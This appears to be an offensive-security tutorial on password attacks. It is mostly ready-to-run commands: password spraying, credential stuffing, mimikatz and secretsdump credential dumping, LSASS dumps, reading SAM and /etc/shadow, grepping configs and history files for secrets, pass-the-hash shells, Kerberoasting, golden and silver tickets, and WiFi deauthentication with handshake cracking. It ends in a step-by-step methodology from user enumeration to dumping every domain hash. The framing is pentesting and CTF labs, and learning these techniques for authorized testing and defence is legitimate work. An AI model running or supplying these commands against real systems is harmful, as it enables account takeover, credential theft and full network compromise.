kavklaw@llm $ cat password-attacks-guide.md
β±οΈ 25 min read Β· From spraying and dumping to pass-the-hash, custom wordlists, and full credential attack methodology
Password attacks need cracking tools, wordlists, and protocol-specific brute-force utilities. On Kali, almost everything is pre-installed. On other distros:
# Offline cracking
sudo apt install john # John the Ripper (CPU-based)
sudo apt install hashcat # hashcat (GPU-accelerated β much faster)
# hashcat needs GPU drivers: nvidia-driver + nvidia-cuda-toolkit (NVIDIA)
# or ROCm (AMD). CPU-only mode works but is significantly slower.
# Online brute force
sudo apt install hydra # Multi-protocol brute forcer
sudo apt install netexec # AD/SMB/WinRM spraying (successor to CrackMapExec; commands use nxc/netexec)
pip3 install impacket # secretsdump.py, GetNPUsers.py, GetUserSPNs.py
# Wordlists β SecLists is essential
sudo apt install seclists
# Installs to: /usr/share/seclists/
# Key paths:
# /usr/share/seclists/Passwords/ β password wordlists
# /usr/share/seclists/Usernames/ β username lists
# /usr/share/seclists/Passwords/Default-Credentials/ β default creds
# rockyou.txt β the classic 14M password list
# On Kali: /usr/share/wordlists/rockyou.txt (may need: gunzip rockyou.txt.gz)
# Download: https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# Custom wordlist tools
sudo apt install cewl # Website word scraper
pip3 install cupp # Personal password profiler
# Kerberos attacks
# kerbrute β Download binary from GitHub releases (https://github.com/ropnop/kerbrute/releases)
# WiFi (optional)
sudo apt install aircrack-ng
The most common setup: hashcat for offline cracking (fast with a GPU), hydra/CrackMapExec for online attacks, and rockyou.txt + SecLists as your wordlist foundation. If you're doing AD attacks, Impacket is non-negotiable.
Need to attack passwords right now? Here's the decision tree:
# Got a hash? β Crack it offline
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt # NTLM
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt # Auto-detect
# Got a live login? β Spray first, brute force last
crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Spring2024!' --continue-on-success
# Got access to a Windows box? β Dump credentials
mimikatz# sekurlsa::logonpasswords
# Or remotely:
secretsdump.py domain/user:[email protected]
# Got an NTLM hash but can't crack it? β Pass the hash
crackmapexec smb 10.10.10.100 -u administrator -H aad3b435b51404eeaad3b435b51404ee:hash
evil-winrm -i 10.10.10.100 -u administrator -H hash
# Need a better wordlist? β Generate one
cewl http://target.htb -d 3 -m 5 -w custom.txt
john --wordlist=custom.txt --rules=best64 --stdout > mutated.txt
Understanding the different types of password attacks helps you choose the right approach. They fall into two major categories:
Password Attacks
β
βββββββββββββββ΄ββββββββββββββ
βΌ βΌ
ONLINE ATTACKS OFFLINE ATTACKS
(against live services) (against hashes/files)
Slow Β· Noisy Β· Logged Fast Β· Silent Β· Local
β β
βββββββββΌβββββββββ βββββββββΌβββββββββ
βΌ βΌ βΌ βΌ βΌ βΌ
Brute Spray Credential Dict Rule- Mask/
Force Stuffing Attack Based Combo
β
βββββββββββββ΄ββββββββββββ
βΌ βΌ
BEYOND CRACKING Don't need the
(use hash directly) plaintext at all!
β
ββββββββββββΌβββββββββββ
βΌ βΌ βΌ
Pass-the- Pass-the- Credential
Hash Ticket Dumping
You're sending login attempts to a running service. These are slow (limited by network speed and service rate limits) and noisy (every attempt generates logs).
You have password hashes or encrypted files and crack them locally. These are fast (limited only by your hardware) and silent (no network traffic, no logs on the target).
Sometimes you don't need the plaintext password at all:
π‘ Pro Tip: The order of operations matters. Always try: (1) default credentials, (2) credential reuse from other findings, (3) password spraying, (4) targeted brute force with custom wordlists, (5) full brute force as last resort. Each step is more time-consuming and noisier than the last.
Password spraying is the opposite of brute force. Instead of trying many passwords against one user, you try one password against many users. This stays under account lockout policies (thresholds are configurable per environment β some domains set 3-5 attempts, others have no lockout at all).
In any organization with 100+ users, at least a few will have weak passwords following predictable patterns:
Season+Year β Spring2024, Winter2023, Summer2024!Company+Number β Target123, Target2024Welcome+Variation β Welcome1, Welcome123!Password+Number β Password1, P@ssw0rd!Month+Year β January2024, February2024!# CrackMapExec β spray against SMB (most common for AD)
crackmapexec smb 10.10.10.100 -u users.txt -p 'Spring2024!' --continue-on-success
# --continue-on-success β don't stop after first hit
# Spray against multiple passwords (one at a time to avoid lockout!)
for pass in 'Spring2024!' 'Winter2023!' 'Welcome1' 'Password1' 'Company123'; do
echo "=== Trying: $pass ==="
crackmapexec smb 10.10.10.100 -u users.txt -p "$pass" --continue-on-success
sleep 1800 # Wait 30 minutes between sprays (respect lockout window)
done
# Spray against WinRM
crackmapexec winrm 10.10.10.100 -u users.txt -p 'Spring2024!'
# Spray against LDAP
crackmapexec ldap 10.10.10.100 -u users.txt -p 'Spring2024!'
# Spray against SSH
crackmapexec ssh 10.10.10.100 -u users.txt -p 'Spring2024!'
# kerbrute β spray against Kerberos (faster, less logging)
kerbrute passwordspray -d domain.htb --dc 10.10.10.100 users.txt 'Spring2024!'
# Spray against web login (with Hydra)
hydra -L users.txt -p 'Spring2024!' 10.10.10.100 http-post-form \
"/login:user=^USER^&pass=^PASS^:Invalid" -t 4
# Spray against O365/Azure
# Tools: MSOLSpray, o365spray, sprayhound
python3 o365spray.py --spray -U users.txt -p 'Spring2024!' -d company.com
# Step 1: Enumerate valid usernames
# LDAP enumeration
ldapsearch -x -h 10.10.10.100 -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccountName | grep sAMAccountName
# Kerberos user enumeration (no auth needed)
kerbrute userenum -d domain.htb --dc 10.10.10.100 /usr/share/seclists/Usernames/Names/names.txt
# RPC enumeration
rpcclient -U "" -N 10.10.10.100 -c "enumdomusers"
# SMTP VRFY
smtp-user-enum -M VRFY -U users.txt -t 10.10.10.100
# Step 2: Build password list based on target
# Company name + common patterns
echo -e "Company2024!\nCompany2023!\nCompany123\nWelcome1\nSpring2024!\nWinter2024!\nPassword1" > spray_passwords.txt
# Step 3: Check lockout policy FIRST
crackmapexec smb 10.10.10.100 -u '' -p '' --pass-pol
# Look for: Account Lockout Threshold, Reset Account Lockout Counter
# Step 4: Spray (one password, wait, repeat)
crackmapexec smb 10.10.10.100 -u users.txt -p 'Spring2024!' --continue-on-success
sekurlsa::logonpasswords is the most important Mimikatz command. It dumps all credentials cached in the LSASS (Local Security Authority Subsystem Service) process memory, including: NTLM hashes (for pass-the-hash), Kerberos tickets (for pass-the-ticket), and sometimes plaintext passwords (if WDigest is enabled). Requires administrative/SYSTEM privileges and privilege::debug first.β οΈ Critical: Always check the password policy before spraying in real engagements. Lockout thresholds and reset windows vary by domain β enumerate with net accounts /domain or LDAP queries. Spray ONE password per lockout window and wait for the reset period before the next. Locking out all domain accounts is a career-ending mistake. In CTFs, there usually is no lockout β spray freely.
Credential stuffing uses known username/password pairs (from data breaches -- when a company's database of user info gets stolen and leaked online) against a target. It exploits password reuse, since people use the same password across multiple services.
The concept: user:password pairs from a breach, tested against a new target. The credential file is colon-separated:
cat creds.txt
[email protected]:MyP@ssw0rd123
[email protected]:Summer2023!
[email protected]:admin123
# Test with Hydra
hydra -C creds.txt 10.10.10.100 http-post-form \
"/login:email=^USER^&password=^PASS^:Invalid"
# Test with CrackMapExec (user:pass format)
# Note: CME doesn't support -C, use parallel -u and -P with --no-bruteforce
crackmapexec smb 10.10.10.100 -u users.txt -P passwords.txt --no-bruteforce
# --no-bruteforce tries user1:pass1, user2:pass2 (not all combinations)
Sources for credential lists:
Before any attack, always check for default credentials. It's embarrassing how many systems still use factory defaults.
Online databases:
# SecLists default credential files
ls /usr/share/seclists/Passwords/Default-Credentials/
Common defaults by service:
# Automated default credential testing
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt \
ssh://10.10.10.100
# Nmap default credential scripts
nmap -p 22 --script=ssh-brute --script-args userdb=users.txt,passdb=defaults.txt 10.10.10.100
π‘ Pro Tip: When you find an unusual service, Google "[service name] default credentials" before anything else. You'd be amazed how often Tomcat with tomcat/s3cret, Grafana with admin/admin, or Jenkins with no authentication at all gives you instant access.
Credential dumping extracts passwords, hashes (scrambled versions of passwords that the system stores instead of plaintext), and tickets from a compromised system. This is one of the most important post-exploitation techniques (things you do after gaining initial access). Credentials on one system often provide access to others.
The king of credential extraction. Requires administrative/SYSTEM privileges.
# Dump all logon credentials from memory (LSASS)
mimikatz# privilege::debug
mimikatz# sekurlsa::logonpasswords
# Dump SAM database (local accounts)
mimikatz# lsadump::sam
# Dump LSASS secrets
mimikatz# lsadump::secrets
# Dump Kerberos tickets
mimikatz# kerberos::list /export
# DCSync attack β dump credentials from DC without touching it
# Requires: Replicating Directory Changes permission
mimikatz# lsadump::dcsync /domain:domain.htb /user:administrator
sekurlsa::logonpasswords output includes:
Extracts credentials remotely. Requires admin credentials or NTLM hash.
# With password
secretsdump.py domain/administrator:P@[email protected]
# With NTLM hash (pass-the-hash)
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:HASH domain/[email protected]
# Dump just NTDS.dit from Domain Controller (EVERY account hash!)
secretsdump.py -just-dc domain/administrator:P@ssw0rd@DC_IP
# Alternative: CrackMapExec
crackmapexec smb 10.10.10.100 -u administrator -p 'P@ssw0rd' --sam
crackmapexec smb 10.10.10.100 -u administrator -p 'P@ssw0rd' --lsa
crackmapexec smb DC_IP -u administrator -p 'P@ssw0rd' --ntds
What secretsdump extracts:
# If you have local admin on a Windows box:
# Method 1: Registry save
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
reg save HKLM\SECURITY security.bak
# Transfer files to attacker, then extract:
secretsdump.py -sam sam.bak -system system.bak -security security.bak LOCAL
# Method 2: Volume Shadow Copy (access locked files)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system
# Method 3: From a Linux system mounting a Windows drive
samdump2 /mnt/windows/Windows/System32/config/SYSTEM /mnt/windows/Windows/System32/config/SAM
LSASS (Local Security Authority Subsystem Service) is the Windows process responsible for handling logins. It caches credentials in memory so you don't have to re-enter your password for every network resource. For attackers, dumping LSASS means extracting all those cached credentials at once.
# LSASS holds credentials in memory β dumping it extracts everything cached
# Method 1: Task Manager (admin required)
# Open Task Manager β Details β lsass.exe β Create dump file
# Method 2: procdump (Sysinternals)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Method 3: comsvcs.dll (built-in Windows)
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump PID lsass.dmp full
# Method 4: mimikatz from dump file
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
# Method 5: pypykatz (Python alternative)
pypykatz lsa minidump lsass.dmp
# /etc/shadow β password hashes (requires root)
cat /etc/shadow
# root:$6$xyz...:19000:0:99999:7:::
# βuser βhash type ($6$ = SHA-512, $y$ = yescrypt)
# Unshadow for cracking
unshadow /etc/passwd /etc/shadow > unshadowed.txt
john unshadowed.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Or with hashcat
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt # SHA-512crypt
# Search for credentials in config files
grep -rn "password\|passwd\|pass\|credential\|secret" /etc/ 2>/dev/null
grep -rn "password\|passwd" /var/www/ 2>/dev/null
grep -rn "password\|passwd" /opt/ 2>/dev/null
# History files
cat ~/.bash_history | grep -i "pass\|user\|ssh\|mysql\|ftp"
cat ~/.mysql_history
# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
# Database credential files
cat /var/www/html/wp-config.php | grep DB_
cat /var/www/html/.env | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
$ secretsdump.py domain/admin:[email protected]
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404ee:e02bc503339d51f71d913a40d6e1c4c3:::
Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
$ hashcat -m 1000 e02bc503339d51f71d913a40d6e1c4c3 rockyou.txt
Status: Exhausted (Not found)
evil-winrm -i IP -u administrator -H HASH, crackmapexec smb IP -u administrator -H HASH, or psexec.py -hashes :HASH domain/admin@IP. Also spray the hash across other machines β local admin hashes are often reused if systems were built from the same image.$ domain/administrator:P@[email protected]
secretsdump.py (or impacket-secretsdump) remotely extracts credentials including: SAM hashes (local accounts), LSA secrets (service account passwords, cached domain credentials), and NTDS.dit (all domain hashes when targeting a DC). It requires admin credentials (password or hash). When targeting a Domain Controller with -just-dc, it dumps every account hash in the domain.cewl http://target.htb -d 3 -m 5 -w custom.txt. The -d flag sets spider depth, -m sets minimum word length. This catches company-specific terms, employee names, product names, and other words that generic wordlists miss. Apply mutation rules to the output for realistic password variations.π‘ Pro Tip: After dumping credentials, always check for credential reuse. The password for a web application database might also be someone's domain password. Local admin hashes might be the same across multiple machines (if a golden image was used). Try every credential on every accessible service.
Pass-the-Hash (PtH) lets you authenticate to Windows services using an NTLM hash without knowing the plaintext password. NTLM (NT LAN Manager) is Windows' legacy authentication protocol β when you set a password on Windows, it stores an NTLM hash (a one-way mathematical transformation of the password). This is one of the most powerful techniques in Windows pentesting.
NTLM authentication uses a challenge-response mechanism based on the hash: the server sends a random challenge, and the client computes a response using the NTLM hash β not the plaintext password. This means the hash itself is the credential. If you have the hash, you can compute valid responses and authenticate. No plaintext password needed.
# CrackMapExec β check hash validity
crackmapexec smb 10.10.10.100 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'
# CrackMapExec β spray hash across network
crackmapexec smb 10.10.10.0/24 -u administrator -H 'NTHASH' --continue-on-success
# evil-winrm β get a shell with hash
evil-winrm -i 10.10.10.100 -u administrator -H 'NTHASH'
# psexec.py β SYSTEM shell via PtH
psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:NTHASH' domain/[email protected]
# wmiexec.py β command execution via WMI
wmiexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:NTHASH' domain/[email protected]
# smbexec.py β another execution method
smbexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:NTHASH' domain/[email protected]
# xfreerdp β RDP with hash (Restricted Admin mode required)
xfreerdp /u:administrator /pth:NTHASH /v:10.10.10.100
# smbclient with hash
smbclient \\\\10.10.10.100\\share -U administrator --pw-nt-hash NTHASH
# Mounting SMB share with hash
mount -t cifs //10.10.10.100/share /mnt -o username=administrator,password=NTHASH
# Same tools, but with plaintext password
# CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -p 'P@ssw0rd' --continue-on-success
# Check if admin on multiple hosts
crackmapexec smb 10.10.10.0/24 -u administrator -p 'P@ssw0rd' | grep "Pwn3d!"
# Execute commands
crackmapexec smb 10.10.10.100 -u administrator -p 'P@ssw0rd' -x "whoami"
# Get shells
evil-winrm -i 10.10.10.100 -u administrator -p 'P@ssw0rd'
psexec.py domain/administrator:'P@ssw0rd'@10.10.10.100
Kerberos is the primary authentication protocol in Active Directory (AD β Microsoft's system for managing users, computers, and permissions in a Windows network). Instead of sending passwords over the network, Kerberos uses "tickets" β encrypted tokens that prove your identity. Think of it like a concert wristband: you show your ID once at the gate (authenticate), get a wristband (ticket), and then show the wristband to access different areas (services) without re-authenticating. Attacking Kerberos can yield credentials without triggering traditional login alerts.
# AS-REP Roasting β extract hashes for users without pre-auth
# No credentials needed! Just a list of usernames
GetNPUsers.py domain.htb/ -usersfile users.txt -no-pass -dc-ip 10.10.10.100
# Output: [email protected]:...
# Crack with hashcat -m 18200
# Kerberoasting β extract service ticket hashes
# Requires: valid domain credentials
GetUserSPNs.py domain.htb/user:password -dc-ip 10.10.10.100 -request
# Output: $krb5tgs$23$*service_account$domain.htb...
# Crack with hashcat -m 13100
# Pass-the-Ticket
# Export tickets with mimikatz
mimikatz# kerberos::list /export
# Use tickets with impacket
export KRB5CCNAME=ticket.ccache
psexec.py -k -no-pass domain.htb/[email protected]
# Golden Ticket (requires krbtgt hash β means you own the domain)
mimikatz# kerberos::golden /user:administrator /domain:domain.htb \
/sid:S-1-5-21-... /krbtgt:HASH /ptt
# Silver Ticket (requires service account hash)
mimikatz# kerberos::golden /user:administrator /domain:domain.htb \
/sid:S-1-5-21-... /target:server.domain.htb /service:cifs /rc4:HASH /ptt
π‘ Pro Tip: AS-REP Roasting and Kerberoasting are two of the most impactful AD attacks. AS-REP Roasting doesn't even require valid credentials -- just a list of usernames. Always run these before attempting brute force against AD. For a complete Active Directory attack guide, see the AD Guide.
WiFi password attacks target the WPA/WPA2 handshake. You capture the 4-way handshake and crack it offline.
# Step 1: Put interface in monitor mode
sudo airmon-ng start wlan0
# Step 2: Scan for networks
sudo airodump-ng wlan0mon
# Step 3: Target a specific network and capture handshake
sudo airodump-ng -c CHANNEL --bssid TARGET_BSSID -w capture wlan0mon
# Step 4: Force a handshake by deauthenticating a client
sudo aireplay-ng --deauth 10 -a TARGET_BSSID wlan0mon
# Wait for "WPA handshake: XX:XX:XX:XX:XX:XX" in airodump
# Step 5: Crack the handshake
# With aircrack-ng
aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt
# With hashcat (faster with GPU)
# First convert to hashcat format
hcxpcapngtool -o hash.22000 capture-01.cap
hashcat -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt
# WPS attack (if WPS is enabled)
wash -i wlan0mon # Find WPS-enabled networks
reaver -i wlan0mon -b TARGET_BSSID -v # Brute force WPS PIN
Generic wordlists miss targeted passwords. Custom wordlists based on the target dramatically improve success rates.
# Spider a website and generate a wordlist from its content
cewl http://target.htb -d 3 -m 5 -w target_words.txt
# -d 3 = spider depth 3 levels
# -m 5 = minimum word length 5 characters
# Include email addresses
cewl http://target.htb -d 3 -e --email_file emails.txt -w words.txt
# Include metadata from documents
cewl http://target.htb -d 3 --meta --meta_file meta.txt
# Lowercase everything
cewl http://target.htb -d 3 -m 5 --lowercase -w words.txt
# Interactive mode β builds passwords based on target's personal info
cupp -i
# Asks for: first name, last name, birthday, partner's name, pet's name, etc.
# Generates: john1990, john123, john!, J0hn, john1990!, etc.
# Example: if target is John Smith, born 1990, wife Sarah, dog Rex
# CUPP generates: john1990, john90, sarah1990, rex1990, johns, johnsmith, etc.
# Download common password lists
cupp -l
# Generate all 8-char passwords with specific pattern
crunch 8 8 -t @@@@2024 -o wordlist.txt
# @ = lowercase letter
# , = uppercase letter
# % = number
# ^ = special character
# Examples:
crunch 8 8 -t @@@@%%%% -o eight_chars.txt # 4 letters + 4 numbers
crunch 6 6 -t ,%@@%% -o six_chars.txt # Complex pattern
crunch 8 12 abcdefghijklmnop123 -o custom.txt # Custom charset, 8-12 length
# WARNING: Crunch generates MASSIVE wordlists
# crunch 8 8 (lowercase only) = 200+ GB
# Use specific patterns to keep it manageable
# From names to username formats
# Input: John Smith, Jane Doe, Bob Wilson
# Generate common formats:
# jsmith, john.smith, johns, j.smith, smithj, john_smith
# jdoe, jane.doe, janed, j.doe, doej, jane_doe
# username-anarchy tool
./username-anarchy John Smith
# Output: john, smith, jsmith, john.smith, smithj, etc.
# Simple bash script
while IFS=' ' read first last; do
f=${first,,}; l=${last,,}
echo "${f:0:1}${l}" # jsmith
echo "${f}.${l}" # john.smith
echo "${f}${l:0:1}" # johns
echo "${f}_${l}" # john_smith
echo "${l}${f:0:1}" # smithj
done < names.txt > usernames.txt
Mutation rules transform base words into realistic password variations. For example, turning "password" into "Password1", "p@ssw0rd", and "password2024!". They're the secret sauce that makes wordlists effective.
# John the Ripper rules
john --wordlist=base.txt --rules=best64 --stdout > mutated.txt
# best64 applies the 64 most effective mutation rules:
# password β Password, password1, password!, PASSWORD, p@ssword, etc.
# Common rule sets
john --wordlist=base.txt --rules=InsidePro --stdout # InsidePro rules
john --wordlist=base.txt --rules=Jumbo --stdout # Jumbo ruleset
john --wordlist=base.txt --rules=KoreLogic --stdout # KoreLogic rules
# Hashcat rules
hashcat -r /usr/share/hashcat/rules/best64.rule --stdout base.txt > mutated.txt
hashcat -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --stdout base.txt
# Common rule files in hashcat:
# /usr/share/hashcat/rules/best64.rule β Best 64 rules
# /usr/share/hashcat/rules/rockyou-30000.rule β 30k rules from rockyou analysis
# /usr/share/hashcat/rules/d3ad0ne.rule β d3ad0ne rules
# /usr/share/hashcat/rules/dive.rule β Dive rules (large)
# /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule β Community favorite
# What rules do β example mutations of "password":
# Capitalize first: Password
# Uppercase all: PASSWORD
# Append number: password1, password123
# Append year: password2024
# Append special: password!, password@, password#
# Leet speak: p@ssw0rd, p4ssword
# Toggle case: pAsSwOrD
# Reverse: drowssap
# Duplicate: passwordpassword
# Combine: All of the above combined!
# Hashcat rule syntax (one rule per line):
# c = capitalize first, lowercase rest
# u = uppercase all
# $1 = append "1"
# $! = append "!"
# ^@ = prepend "@"
# sa@ = replace 'a' with '@'
# se3 = replace 'e' with '3'
# Example custom rule file:
cat << 'EOF' > custom.rule
:
c
u
$1
$!
$1$2$3
$2$0$2$4
c$!
c$1
sa@
se3so0
csa@se3
EOF
# Apply custom rules
hashcat -r custom.rule --stdout base.txt
Essential resources for password attacks:
# SecLists β the definitive wordlist collection (https://github.com/danielmiessler/SecLists)
sudo apt install seclists
# Key directories:
/usr/share/seclists/Passwords/ # Password wordlists
/usr/share/seclists/Usernames/ # Username wordlists
/usr/share/seclists/Discovery/ # Web and DNS discovery
# rockyou.txt β 14M real passwords from the 2009 RockYou breach
/usr/share/wordlists/rockyou.txt
Online tools & databases:
Here's the complete password attack methodology from initial access through domain compromise:
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PASSWORD ATTACK METHODOLOGY β
ββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββββ
βΌ
Phase 1: GATHERING βββ Enumerate users, check policy,
β try defaults, AS-REP Roast
βΌ
Phase 2: INITIAL βββββ Crack AS-REP hashes, spray
ACCESS company passwords, check reuse
β
βΌ
Phase 3: POST- βββββββ Kerberoast, BloodHound,
COMPROMISE dump SAM/LSA from accessible hosts
β
βΌ
Phase 4: ESCALATION ββ Dump LSASS, pass-the-hash
β across network, DCSync
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β DOMAIN COMPROMISE β NTDS.dit = every account β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# 1. Enumerate valid usernames
kerbrute userenum -d domain.htb --dc DC_IP users.txt
rpcclient -U "" -N DC_IP -c "enumdomusers"
ldapsearch -x -h DC_IP -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccountName
# 2. Check password policy
crackmapexec smb DC_IP -u '' -p '' --pass-pol
# Note: lockout threshold, minimum length, complexity requirements
# 3. Try default/null credentials
crackmapexec smb DC_IP -u '' -p ''
crackmapexec smb DC_IP -u 'guest' -p ''
# 4. Check for AS-REP Roastable users (no creds needed)
GetNPUsers.py domain.htb/ -usersfile users.txt -no-pass -dc-ip DC_IP
# 1. Crack any AS-REP hashes found
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# 2. Password spray with company-specific passwords
crackmapexec smb DC_IP -u users.txt -p 'Company2024!' --continue-on-success
# Wait for lockout window
crackmapexec smb DC_IP -u users.txt -p 'Welcome1' --continue-on-success
# 3. Check credential reuse from any findings
# Found web app creds? Try them on AD.
crackmapexec smb DC_IP -u 'webadmin' -p 'WebP@ssw0rd'
# With valid domain credentials:
# 1. Kerberoasting
GetUserSPNs.py domain.htb/user:password -dc-ip DC_IP -request
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# 2. BloodHound β map attack paths
bloodhound-python -c All -d domain.htb -u user -p password -ns DC_IP
# 3. Dump credentials from accessible hosts
crackmapexec smb 10.10.10.0/24 -u user -p password --sam
crackmapexec smb 10.10.10.0/24 -u user -p password --lsa
# With local admin on any host:
# 1. Dump LSASS
mimikatz# sekurlsa::logonpasswords
# Look for domain admin credentials in memory
# 2. Check for cached credentials
mimikatz# lsadump::cache
# 3. Pass-the-hash across the network
crackmapexec smb 10.10.10.0/24 -u administrator -H HASH --continue-on-success
# 4. If you find domain admin hash:
secretsdump.py -hashes LM:NT domain/administrator@DC_IP
# Dump NTDS.dit β you now have EVERY account in the domain
β Mistake #1: Brute forcing before checking defaults and spraying.
Brute force is slow, noisy, and often unnecessary. Default credentials and password spraying are faster and more likely to succeed. Always exhaust these options first.
β Mistake #2: Not checking the lockout policy before spraying.
If you spray 5 passwords per user against an AD with a 3-attempt lockout, you'll lock out every account in the organization. Check the policy withcrackmapexec smb DC -u '' -p '' --pass-polFIRST.
β Mistake #3: Using only rockyou.txt for everything.
rockyou.txt is from 2009. Modern password policies require complexity that older passwords don't have. Use custom wordlists based on the target (CeWL, CUPP) and mutation rules to generate realistic passwords that match current policies.
β Mistake #4: Forgetting credential reuse.
The password you found in a web app config file might be someone's domain password. The local admin hash might work on every other machine. Always test discovered credentials against every accessible service.
β Mistake #5: Not trying pass-the-hash.
If you have an NTLM hash and can't crack it, you can often still use it directly with tools like CrackMapExec, evil-winrm, psexec.py, and wmiexec.py. You don't always need the plaintext password.
β Mistake #6: Ignoring Linux credential locations.
Credentials aren't just in /etc/shadow. Check bash history, web app configs, database connection strings, SSH keys, environment variables, .env files, and memory (process environment:/proc/PID/environ).
β Mistake #7: Not using mutation rules with hashcat/john.
A base wordlist of 10,000 words with the best64 rule set becomes 640,000 realistic variations. Rules likeOneRuleToRuleThemAll.rulecan turn a small wordlist into a thorough attack without brute forcing.